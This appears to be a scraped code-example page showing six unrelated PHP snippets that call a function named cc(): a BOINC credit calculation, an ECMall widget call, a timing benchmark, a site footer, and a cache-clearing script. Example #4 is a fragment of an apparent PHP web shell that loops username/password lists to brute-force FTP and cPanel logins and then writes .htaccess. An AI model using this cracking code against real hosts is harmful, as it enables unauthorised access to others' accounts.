コード例 #1
0
ファイル: credit_study.php プロジェクト: CalvinZhu/boinc
function fpw_var($results, $fpw)
{
    $cc = array();
    foreach ($results as $r) {
        $cc[] = cc($r, $fpw);
    }
    return normalized_variance($cc);
}
コード例 #2
0
ファイル: template.php プロジェクト: zhangxiaoling/ecmall
 function display_widgets($arr)
 {
     /* 请求控制器 */
     $controller =& cc();
     $controller->display_widgets($arr);
 }
コード例 #3
0
// Do the math the new way and time it
$start = mtime();
$cc = cc($nums);
$time = mtime() - $start;
echo implode($nums[0]) . " - " . implode($nums[1]) . " = " . $cc . " (cc = " . $time . ")" . "<br>";

// ===================================================================================================
*/
// ===================================================================================================
// Uncomment this block if you want to test a lot.
$cycles = 1000;
$owtime = 0;
$cctime = 0;
echo number_format($cycles) . " cycles - random numbers between 1 and 1000.<br>";
for ($i = 0; $i < $cycles; $i++) {
    $nums = randoms();
    // Do the math the old way and time it
    $start = mtime();
    $ow = ow($nums);
    $end = mtime();
    $owtime += $end - $start;
    // Do the math the new way and time it
    $start = mtime();
    $cc = cc($nums);
    $end = mtime();
    $cctime += $end - $start;
}
echo "Total time for the old way : " . abs($owtime) . " seconds<br>";
echo "Total time for the new way : " . abs($cctime) . " seconds<br>";
// ===================================================================================================
コード例 #4
0
         echo "Crack Type:&nbsp;" . $_REQUEST['crt'] . "\n[~] Cracking Process Started, Please Wait ...\n";
         if ($sit == "") {
             $sit = "localhost";
         }
         if ($prt == "") {
             $prt = "2082";
         }
         foreach ($us as $u) {
             $usr = trim($u);
             foreach ($pa as $p) {
                 $pwd = trim($p);
                 if ($crt == "FTP") {
                     echo fc($sit, $usr, $pwd, $tl);
                 }
                 if ($crt == "Cpanel") {
                     echo cc($sit, $prt, $usr, $pwd, $tl);
                 }
             }
         }
         echo "\n[~] Cracking Process Done!\n";
         echo "</textarea>";
         unset($crcf);
     }
     break;
 case isset($_REQUEST['dhtc']):
     $ctc = htmlspecialchars($_POST['htc']);
     $clc = htmlspecialchars($_POST['mhtc']);
     rs('cmds', '141', '22', $st = 'readonly');
     switch ($_REQUEST['htcc']) {
         case 'ch':
             $hd = @fopen(".htaccess", "w+");
コード例 #5
0
ファイル: common.php プロジェクト: easy-designs/v2
function foot()
{
    ?>
  <div id="footer">
    <?php 
    cc();
    ?>
  </div> 
  <script type="text/javascript">
    // <![CDATA[
    _uacct = 'UA-176472-1';
    urchinTracker();
    // ]]>
  </script> 
<?php 
}
コード例 #6
0
ファイル: cache.php プロジェクト: jarold87/orcinus
                } else {
                    echo "<br/>" . $o;
                    unlink($o);
                }
            }
        }
        reset($objects);
        rmdir($dir);
    }
}
function cc($cache_dir, $name)
{
    $d = $cache_dir . '/' . $name;
    if (is_dir($d)) {
        echo "<br/><br/><b>clearing " . $name . ' :</b>';
        rrmdir($d);
    }
}
if (is_dir($cache_dir)) {
    if (basename($cache_dir) == "cache") {
        echo "<br/><br/><b>clearing cache :</b>";
        cc($cache_dir, "dev");
        cc($cache_dir, "prod");
        cc($cache_dir, "test");
        echo "<br/><br/><b>done !</b>";
    } else {
        die("<br/> Error : cache_dir not named cache ?");
    }
} else {
    die("<br/> Error : cache_dir is not a dir");
}